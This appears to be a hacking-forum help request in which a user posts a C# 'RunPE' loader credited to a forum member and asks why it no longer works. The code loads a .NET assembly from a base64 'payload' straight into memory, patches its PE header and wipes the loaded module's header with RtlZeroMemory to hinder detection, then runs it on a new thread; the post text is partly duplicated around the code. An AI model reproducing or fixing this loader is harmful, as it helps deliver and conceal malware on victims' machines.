So i have been using his code for a while, it was nice and simple
i was doing everything basic
but now it just doesnt work, its not the framework version
i used this 3 months ago since i was busy with college stuff
could you guys tell me where i messed up?
I don't want to make myself an idiot.
Code
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security;
using System.Threading;
/// <summary>
/// ProjectorPE RunPE for .NET assemblies
/// Created by gigajew@hf
/// Version: 5
/// </summary>
public static class ProjectorPE
{
[DllImport("kernel32.dll")]
private static extern void RtlZeroMemory(IntPtr address, int size);
[SuppressUnmanagedCodeSecurity]
private delegate object ExecuteAssembly(object sender, object[] parameters);
public static void Run(byte[] buffer)
{
// patch credits: Menalix (modified by gigajew to not throw exception)
int e_lfanew = BitConverter.ToInt32(buffer, 0x3c);
Buffer.SetByte(buffer, e_lfanew + 0x398, 2);
object[] parameters = null;
Assembly assembly = Thread.GetDomain().Load(buffer);
MethodInfo entrypoint = assembly.EntryPoint;
if (entrypoint.GetParameters().Length > 0)
{
parameters = new object[] { new string[] { null } };
}
Thread assemblyExecuteThread = new Thread(() =>
{
Thread.BeginThreadAffinity();
Thread.BeginCriticalRegion();
ExecuteAssembly executeAssembly = new ExecuteAssembly(entrypoint.Invoke);
executeAssembly(null, parameters);
Thread.EndCriticalRegion();
Thread.EndThreadAffinity();
});
if (parameters != null)
{
if (parameters.Length > 0)
{
assemblyExecuteThread.SetApartmentState(ApartmentState.STA);
}
else
{
assemblyExecuteThread.SetApartmentState(ApartmentState.MTA);
}
}
RtlZeroMemory(Marshal.GetHINSTANCE(assembly.ManifestModule), 32);
assemblyExecuteThread.Start();
}
public static void Run(string strBuffer)
{
byte[] buffer = Unwrap(strBuffer);
Run(buffer);
}
private static byte[] Unwrap(string buffer)
{
byte[] assemblyByteBuffer = new byte[buffer.Length];
for (int i = 0; i < buffer.Length; i++)
assemblyByteBuffer[i] = (byte)buffer[i];
return assemblyByteBuffer;
}
}i was doing everything basic
Code
ProjectorPE.Run(Convert.FromBase64String(base64payload)but now it just doesnt work, its not the framework version
i used this 3 months ago since i was busy with college stuff
could you guys tell me where i messed up?
I don't want to make myself an idiot.


![[Image: Syr3DlV.png]](https://i.imgur.com/Syr3DlV.png)



![[Image: vp6iypF.gif]](https://i.imgur.com/vp6iypF.gif)